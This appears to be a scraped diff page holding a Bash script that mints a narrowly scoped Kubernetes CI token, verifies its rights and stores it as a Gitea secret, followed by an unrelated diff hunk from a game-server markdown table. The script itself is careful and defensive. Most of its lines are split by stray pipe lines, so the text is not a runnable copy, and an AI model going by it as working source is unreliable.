ARM=false
|
|
||||||
SERVER_OVERRIDE=""
|
|
||||||
|
|
||||||
REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
|
|
||||||
|
|
||||||
step() { printf '\n==> %s\n' "$*"; }
|
|
||||||
info() { printf ' %s\n' "$*"; }
|
|
||||||
warn() { printf ' WARN: %s\n' "$*" >&2; }
|
|
||||||
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
|
|
||||||
|
|
||||||
usage() {
|
|
||||||
cat <<'USAGE'
|
|
||||||
conformance-trigger-kubeconfig.sh — provision the narrow L2/L3 conformance CI trigger credential.
|
|
||||||
|
|
||||||
--dry-run measure every precondition; mint nothing, write nothing (read-only)
|
|
||||||
--arm-cluster-available additionally set vars.CLUSTER_AVAILABLE=true (guarded + confirmed)
|
|
||||||
--server URL API server URL to embed (default: the operator context's own;
|
|
||||||
must be reachable FROM THE CI RUNNER POD — the kube-API VIP)
|
|
||||||
--context NAME kube context to read the CA/server from (default: k3s-prod)
|
|
||||||
--duration D requested token lifetime (default: 720h)
|
|
||||||
-h | --help this text
|
|
||||||
|
|
||||||
Read the header of this file before running it: the CLUSTER_AVAILABLE guard, the split between
|
|
||||||
mint-blocking and arm-blocking preconditions, and why nothing secret is ever printed.
|
|
||||||
USAGE
|
|
||||||
}
|
|
||||||
|
|
||||||
while [ $# -gt 0 ]; do
|
|
||||||
case "$1" in
|
|
||||||
--dry-run) DRY_RUN=true ;;
|
|
||||||
--arm-cluster-available) ARM=true ;;
|
|
||||||
--server) SERVER_OVERRIDE="${2:?--server needs a URL}"; shift ;;
|
|
||||||
--context) KCTX="${2:?--context needs a name}"; shift ;;
|
|
||||||
--duration) DURATION="${2:?--duration needs a value}"; shift ;;
|
|
||||||
-h|--help) usage; exit 0 ;;
|
|
||||||
*) die "unknown argument: $1 (try --help)" ;;
|
|
||||||
esac
|
|
||||||
shift
|
|
||||||
done
|
|
||||||
if $DRY_RUN && $ARM; then die "--dry-run and --arm-cluster-available are contradictory"; fi
|
|
||||||
|
|
||||||
for t in kubectl jq curl git base64; do
|
|
||||||
command -v "$t" >/dev/null || die "missing required tool: $t"
|
|
||||||
done
|
|
||||||
|
|
||||||
WORK="$(mktemp -d)"
|
|
||||||
KC="${WORK}/conformance-trigger.kubeconfig"
|
|
||||||
cleanup() { rm -rf "$WORK"; }
|
|
||||||
trap cleanup EXIT
|
|
||||||
trap 'cleanup; exit 130' INT TERM
|
|
||||||
|
|
||||||
# ========================================================================================
|
|
||||||
# 0. Gitea credentials — from the credential helper git already has for this host, exactly
|
|
||||||
# as branch-protection.sh / set-ci-token.sh / require-gate.sh do. Never in argv: curl
|
|
||||||
# reads them from a --config file descriptor.
|
|
||||||
# ========================================================================================
|
|
||||||
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
|
||||||
U="$(sed -n 's/^username=//p' <<<"$creds")"
|
|
||||||
P="$(sed -n 's/^password=//p' <<<"$creds")"
|
|
||||||
unset creds
|
|
||||||
[ -n "$U" ] && [ -n "$P" ] || die "no stored credential for ${HOST} (git credential fill returned nothing)"
|
|
||||||
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
|
||||||
API="https://${HOST}/api/v1/repos/${OWNER}/${REPO}"
|
|
||||||
|
|
||||||
# ========================================================================================
|
|
||||||
# 1. PRECONDITIONS — measured, never assumed (CLAUDE.md §2b: query the thing itself).
|
|
||||||
# Two independent tallies, per the split documented in the header.
|
|
||||||
# ========================================================================================
|
|
||||||
MINT_FAIL=0
|
|
||||||
ARM_FAIL=0
|
|
||||||
pass() { printf ' [ ok ] %s\n' "$*"; }
|
|
||||||
fail_mint() { printf ' [MINT-BLOCK] %s\n' "$*" >&2; MINT_FAIL=$((MINT_FAIL + 1)); }
|
|
||||||
fail_arm() { printf ' [ARM-BLOCK] %s\n' "$*" >&2; ARM_FAIL=$((ARM_FAIL + 1)); }
|
|
||||||
|
|
||||||
step "preconditions — cluster side (these block the MINT: without them the token IS privileged)"
|
|
||||||
|
|
||||||
kubectl --context "$KCTX" get --raw /version >/dev/null 2>&1 \
|
|
||||||
|| die "cannot reach the API server via context '${KCTX}' — nothing below can be measured"
|
|
||||||
pass "API server reachable via context ${KCTX}"
|
|
||||||
|
|
||||||
# C1: the trigger identity exists (created by Flux from conformance/incluster/rbac.yaml via
|
|
||||||
# clusters/base/conformance.yaml). We print object names only, never contents.
|
|
||||||
if kubectl --context "$KCTX" -n "$NS" get serviceaccount "$SA" -o name >/dev/null 2>&1; then
|
|
||||||
pass "ServiceAccount ${NS}/${SA} exists"
|
|
||||||
else
|
|
||||||
fail_mint "ServiceAccount ${NS}/${SA} is ABSENT — is the 'conformance' Flux Kustomization reconciled?"
|
|
||||||
fi
|
|
||||||
for kind in role rolebinding; do
|
|
||||||
if kubectl --context "$KCTX" -n "$NS" get "$kind" "$SA" -o name >/dev/null 2>&1; then
|
|
||||||
pass "${kind} ${NS}/${SA} exists"
|
|
||||||
else
|
|
||||||
fail_mint "${kind} ${NS}/${SA} is ABSENT — the token would authenticate but authorize nothing"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
# C2: THE SECURITY BOUNDARY. Present, Enforce, and Ready. Anything else and we do not mint.
|
|
||||||
# `validationFailureAction: Audit` is not a boundary; an unready policy is not a boundary.
|
|
||||||
if pol="$(kubectl --context "$KCTX" get clusterpolicy "$POLICY" -o json 2>/dev/null)"; then
|
|
||||||
action="$(jq -r '.spec.validationFailureAction // .spec.rules[0].validate.failureAction // "UNSET"' <<<"$pol")"
|
|
||||||
failpol="$(jq -r '.spec.failurePolicy // "UNSET"' <<<"$pol")"
|
|
||||||
# Kyverno moved readiness from .status.ready to a Ready condition; accept either, and
|
|
||||||
# treat "neither key present" as UNMEASURABLE -> block (fail closed, do not assume ready).
|
|
||||||
ready="$(jq -r '
|
|
||||||
if (.status.ready != null) then (.status.ready | tostring)
|
|
||||||
elif (.status.conditions != null) then
|
|
||||||
((.status.conditions[] | select(.type == "Ready") | .status) // "UNKNOWN")
|
|
||||||
else "UNKNOWN" end' <<<"$pol")"
|
|
||||||
info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
|
|
||||||
[ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
|
|
||||||
[ "$failpol" = "Fail" ] || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
|
|
||||||
case "$ready" in
|
|
||||||
true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
|
|
||||||
*) fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
|
|
||||||
esac
|
|
||||||
else
|
|
||||||
fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
|
|
||||||
|
|
||||||
# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
|
|
||||||
# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
|
|
||||||
VERSIONS="${REPO_ROOT}/conformance/versions.env"
|
|
||||||
if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
|
|
||||||
pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
|
|
||||||
else
|
|
||||||
fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
|
|
||||||
# init-container that populates the empty `workspace` volume with the suite at the PR SHA
|
|
||||||
# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
|
|
||||||
JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
|
|
||||||
if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
|
|
||||||
pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
|
|
||||||
else
|
|
||||||
fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
|
|
||||||
fi
|
|
||||||
if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
|
|
||||||
pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
|
|
||||||
else
|
|
||||||
fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
|
|
||||||
# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
|
|
||||||
# the CI job — where there is no credential at all (the runner sets
|
|
||||||
# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
|
|
||||||
# check must ignore comment lines: a mention in prose is not an implementation.
|
|
||||||
#
|
|
||||||
# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
|
|
||||||
# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
|
|
||||||
# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
|
|
||||||
CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
|
|
||||||
if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
|
|
||||||
"$CONF_STAGE" 2>/dev/null; then
|
|
||||||
pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
|
|
||||||
else
|
|
||||||
fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
|
|
||||||
fi
|
|
||||||
|
|
||||||
info ""
|
|
||||||
info "precondition tally: mint-blocking failures=${MINT_FAIL} arm-blocking failures=${ARM_FAIL}"
|
|
||||||
|
|
||||||
if [ "$MINT_FAIL" -gt 0 ]; then
|
|
||||||
cat >&2 <<EOF
|
|
||||||
|
|
||||||
REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
|
|
||||||
|
|
||||||
Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
|
|
||||||
an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
|
|
||||||
namespaces/patch) with an arbitrary command. That is precisely the escalation
|
|
||||||
docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
|
|
||||||
|
|
||||||
Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
|
|
||||||
confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
|
|
||||||
EOF
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
|
|
||||||
cat >&2 <<EOF
|
|
||||||
|
|
||||||
REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
|
|
||||||
|
|
||||||
Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
|
|
||||||
scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
|
|
||||||
"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
|
|
||||||
guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
|
|
||||||
enable L2/L3: it breaks every PR while proving nothing.
|
|
||||||
|
|
||||||
Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
|
|
||||||
secret in the meantime — that part is safe and is step 6's intended order.
|
|
||||||
EOF
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
if $DRY_RUN; then
|
|
||||||
step "DRY RUN — stopping here. Nothing was minted, nothing was written."
|
|
||||||
info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
|
|
||||||
info "variable that WOULD be set: none — ${VARIABLE} is never touched in --dry-run"
|
|
||||||
# Read-only visibility into what is already there. Gitea never returns secret VALUES.
|
|
||||||
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
|
|
||||||
info "existing Actions secret names: ${names:-<unreadable>}"
|
|
||||||
cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
|
|
||||||
if [ "$cur" = 200 ]; then
|
|
||||||
info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
|
|
||||||
else
|
|
||||||
info "existing ${VARIABLE}: not set (HTTP ${cur})"
|
|
||||||
fi
|
|
||||||
exit 0
|
|
||||||
fi
|
|
||||||
|
|
||||||
# ========================================================================================
|
|
||||||
# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
|
|
||||||
# against the cluster, and it creates no durable object.
|
|
||||||
# ========================================================================================
|
|
||||||
step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
|
|
||||||
TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
|
|
||||||
|| die "kubectl create token failed for ${NS}/${SA}"
|
|
||||||
[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
|
|
||||||
info "got a ${#TOKEN}-character token (value NOT shown)"
|
|
||||||
|
|
||||||
# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
|
|
||||||
# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
|
|
||||||
jwt_exp() {
|
|
||||||
local payload pad b64
|
|
||||||
payload="$(cut -d. -f2 <<<"$1")"
|
|
||||||
pad=$(( (4 - ${#payload} % 4) % 4 ))
|
|
||||||
b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
|
|
||||||
printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
|
|
||||||
}
|
|
||||||
exp="$(jwt_exp "$TOKEN")"
|
|
||||||
if [ -n "$exp" ]; then
|
|
||||||
info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
|
|
||||||
else
|
|
||||||
warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# ========================================================================================
|
|
||||||
# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
|
|
||||||
#
|
|
||||||
# The CA and the server URL are read from the operator's context, but the operator's
|
|
||||||
# client certificate/key are NEVER copied: only .cluster fields are extracted. `config
|
|
||||||
# view --raw` output is held in a variable and discarded, never printed.
|
|
||||||
# Built with jq (not `kubectl config set-credentials --token=…`) so the token never
|
|
||||||
# appears in argv where `ps` can see it.
|
|
||||||
# ========================================================================================
|
|
||||||
step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
|
|
||||||
raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
|
|
||||||
|| die "could not read context '${KCTX}' from the operator kubeconfig"
|
|
||||||
SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
|
|
||||||
CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
|
|
||||||
CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
|
|
||||||
INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
|
|
||||||
unset raw
|
|
||||||
|
|
||||||
[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
|
|
||||||
if [ -n "$SERVER_OVERRIDE" ]; then
|
|
||||||
info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
|
|
||||||
SERVER="$SERVER_OVERRIDE"
|
|
||||||
fi
|
|
||||||
case "$SERVER" in
|
|
||||||
*localhost*|*127.0.0.1*|*://0.0.0.0*)
|
|
||||||
die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
|
|
||||||
esac
|
|
||||||
if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
|
|
||||||
[ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
|
|
||||||
CADATA="$(base64 -w0 <"$CAFILE")"
|
|
||||||
fi
|
|
||||||
[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
|
|
||||||
[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
|
|
||||||
info "server: ${SERVER}"
|
|
||||||
info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
|
|
||||||
|
|
||||||
jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
|
|
||||||
{
|
|
||||||
apiVersion: "v1",
|
|
||||||
kind: "Config",
|
|
||||||
clusters: [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
|
|
||||||
users: [ { name: $sa, user: { token: $tok } } ],
|
|
||||||
contexts: [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
|
|
||||||
"current-context": "conformance"
|
|
||||||
}' >"$KC"
|
|
||||||
chmod 600 "$KC"
|
|
||||||
info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
|
|
||||||
|
|
||||||
# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
|
|
||||||
# than assume it) — this prints only the server we already printed.
|
|
||||||
parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
|
|
||||||
|| die "kubectl cannot parse the generated kubeconfig"
|
|
||||||
[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
|
|
||||||
pass "kubectl parses the generated kubeconfig"
|
|
||||||
|
|
||||||
# ========================================================================================
|
|
||||||
# 4. PROVE it is the narrow identity. Two independent proofs:
|
|
||||||
# a) who the token authenticates AS (SelfSubjectReview)
|
|
||||||
# b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
|
|
||||||
# jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
|
|
||||||
# something wider that happens to include the trigger rights.
|
|
||||||
# All read-only. `auth can-i` answers from the API server's own authorizer.
|
|
||||||
# ========================================================================================
|
|
||||||
step "verifying the credential is the NARROW trigger identity"
|
|
||||||
EXPECT_USER="system:serviceaccount:${NS}:${SA}"
|
|
||||||
if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
|
|
||||||
[ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
|
|
||||||
pass "authenticates as ${who}"
|
|
||||||
else
|
|
||||||
warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
|
|
||||||
kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
|
|
||||||
|| die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
|
|
||||||
pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
|
|
||||||
|
|
||||||
cani() { # cani <expected yes|no> <verb> <resource...>
|
|
||||||
local want="$1"; shift
|
|
||||||
local got
|
|
||||||
got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
|
|
||||||
case "$got" in
|
|
||||||
yes|no) : ;;
|
|
||||||
*) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
|
|
||||||
esac
|
|
||||||
if [ "$got" = "$want" ]; then
|
|
||||||
pass "can-i $* -> ${got} (expected)"
|
|
||||||
else
|
|
||||||
die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
|
|
||||||
cani yes create jobs.batch -n "$NS"
|
|
||||||
cani yes get pods -n "$NS"
|
|
||||||
cani yes get pods/log -n "$NS"
|
|
||||||
# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
|
|
||||||
cani no delete jobs.batch -n "$NS" # a trigger that can delete can hide a failed run
|
|
||||||
cani no create pods/exec -n "$NS" # no execution channel into the runner pod
|
|
||||||
cani no get secrets -n "$NS"
|
|
||||||
cani no create jobs.batch -n default # namespaced Role: no reach outside ns conformance
|
|
||||||
cani no get nodes # the RUNNER has nodes/patch; the trigger must not
|
|
||||||
cani no '*' '*' --all-namespaces # not cluster-admin, stated as a measurement
|
|
||||||
|
|
||||||
# ========================================================================================
|
|
||||||
# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
|
|
||||||
# The body goes in a 0600 file so the token is not in argv.
|
|
||||||
# ========================================================================================
|
|
||||||
step "storing the kubeconfig as repo Actions secret ${SECRET}"
|
|
||||||
jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
|
|
||||||
chmod 600 "${WORK}/body.json"
|
|
||||||
code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
|
|
||||||
-H 'Content-Type: application/json' --data @"${WORK}/body.json" \
|
|
||||||
"${API}/actions/secrets/${SECRET}")"
|
|
||||||
unset TOKEN
|
|
||||||
rm -f "${WORK}/body.json" "$KC"
|
|
||||||
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
|
|
||||||
# Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
|
|
||||||
# "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
|
|
||||||
die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
|
|
||||||
fi
|
|
||||||
info "PUT returned HTTP ${code}"
|
|
||||||
|
|
||||||
# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
|
|
||||||
# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
|
|
||||||
# PRESENCE BY NAME only — say so rather than implying the content was checked.
|
|
||||||
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
|
|
||||||
grep -q "$SECRET" <<<"$names" \
|
|
||||||
|| die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
|
|
||||||
pass "stored and VERIFIED PRESENT by read-back: ${names}"
|
|
||||||
info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
|
|
||||||
info " is proven only by the first CI run that uses it — see the NOTE below.)"
|
|
||||||
info ""
|
|
||||||
info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
|
|
||||||
info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
|
|
||||||
info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
|
|
||||||
info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
|
|
||||||
info "kubeconfig cannot reach CI any other way."
|
|
||||||
|
|
||||||
# ========================================================================================
|
|
||||||
# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
|
|
||||||
# ========================================================================================
|
|
||||||
if ! $ARM; then
|
|
||||||
cat <<EOF
|
|
||||||
|
|
||||||
==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
|
|
||||||
|
|
||||||
The secret is in place; the conformance job stays gated off until the variable is set. That
|
|
||||||
is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
|
|
||||||
EOF
|
|
||||||
else
|
|
||||||
step "arming vars.${VARIABLE}=true — every precondition above is green"
|
|
||||||
cat <<EOF
|
|
||||||
This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
|
|
||||||
in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
|
|
||||||
fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
|
|
||||||
curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
|
|
||||||
EOF
|
|
||||||
[ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
|
|
||||||
printf ' Type exactly "ARM %s" to proceed: ' "$VARIABLE"
|
|
||||||
read -r confirm
|
|
||||||
[ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
|
|
||||||
|
|
||||||
# Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
|
|
||||||
# `data` as in the secrets API above. Try create, fall back to update. The value "true" is
|
|
||||||
# not a secret, so response bodies are printed here to make a failure diagnosable.
|
|
||||||
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
|
|
||||||
-H 'Content-Type: application/json' --data '{"value":"true"}' \
|
|
||||||
"${API}/actions/variables/${VARIABLE}")"
|
|
||||||
if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
|
|
||||||
info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
|
|
||||||
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
|
|
||||||
-H 'Content-Type: application/json' \
|
|
||||||
--data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
|
|
||||||
"${API}/actions/variables/${VARIABLE}")"
|
|
||||||
fi
|
|
||||||
[ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
|
|
||||||
|| die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
|
|
||||||
info "write returned HTTP ${vcode}"
|
|
||||||
|
|
||||||
# Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
|
|
||||||
# gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
|
|
||||||
gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
|
|
||||||
[ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
|
|
||||||
val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
|
|
||||||
[ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
|
|
||||||
pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
|
|
||||||
fi
|
|
||||||
|
|
||||||
cat <<EOF
|
|
||||||
|
|
||||||
NEXT — and none of it is proven until you watch it happen:
|
|
||||||
1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
|
|
||||||
reports success ("Has been skipped"), and a green tick is not evidence anything ran.
|
|
||||||
2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
|
|
||||||
artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
|
|
||||||
3. Only after seeing BOTH directions should the conformance check be added to branch
|
|
||||||
protection (infra/gitea/require-gate.sh's status_check_contexts).
|
|
||||||
4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
|
|
||||||
(401 on the trigger) rather than skipping when it lapses.
|
|
||||||
|
|
||||||
ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
|
|
||||||
DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
|
|
||||||
ServiceAccount, which Flux will recreate with a fresh identity.
|
|
||||||
EOF
|
|
||||||
+10
-317
@@ -21,7 +21,7 @@ Cilium L2 LoadBalancer (game protocols authenticate players themselves).
|
|||||||
| PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
|
| PVC subPaths | `servers`→`/crafty/servers`, `backups`→`/crafty/backups`, `logs`→`/crafty/logs`, `import`→`/crafty/import`, `config`→`/crafty/app/config` |
|
||||||
| Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
|
| Identity | `runAsUser:1000 runAsGroup:0 fsGroup:0 runAsNonRoot:true` (see below) |
|
||||||
| Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
|
| Web host | `crafty.home.keithjackson.dev` → shared Gateway → `crafty` Service :80 → sidecar :4180 → Crafty :8443 |
|
||||||
| Game VIP | `${CRAFTY_L4_VIP}` (Cilium L2 LoadBalancer) — **prod `192.168.2.22`** (live `EXTERNAL-IP`, measured 2026-09-29); base/dev `192.168.1.55` |
|
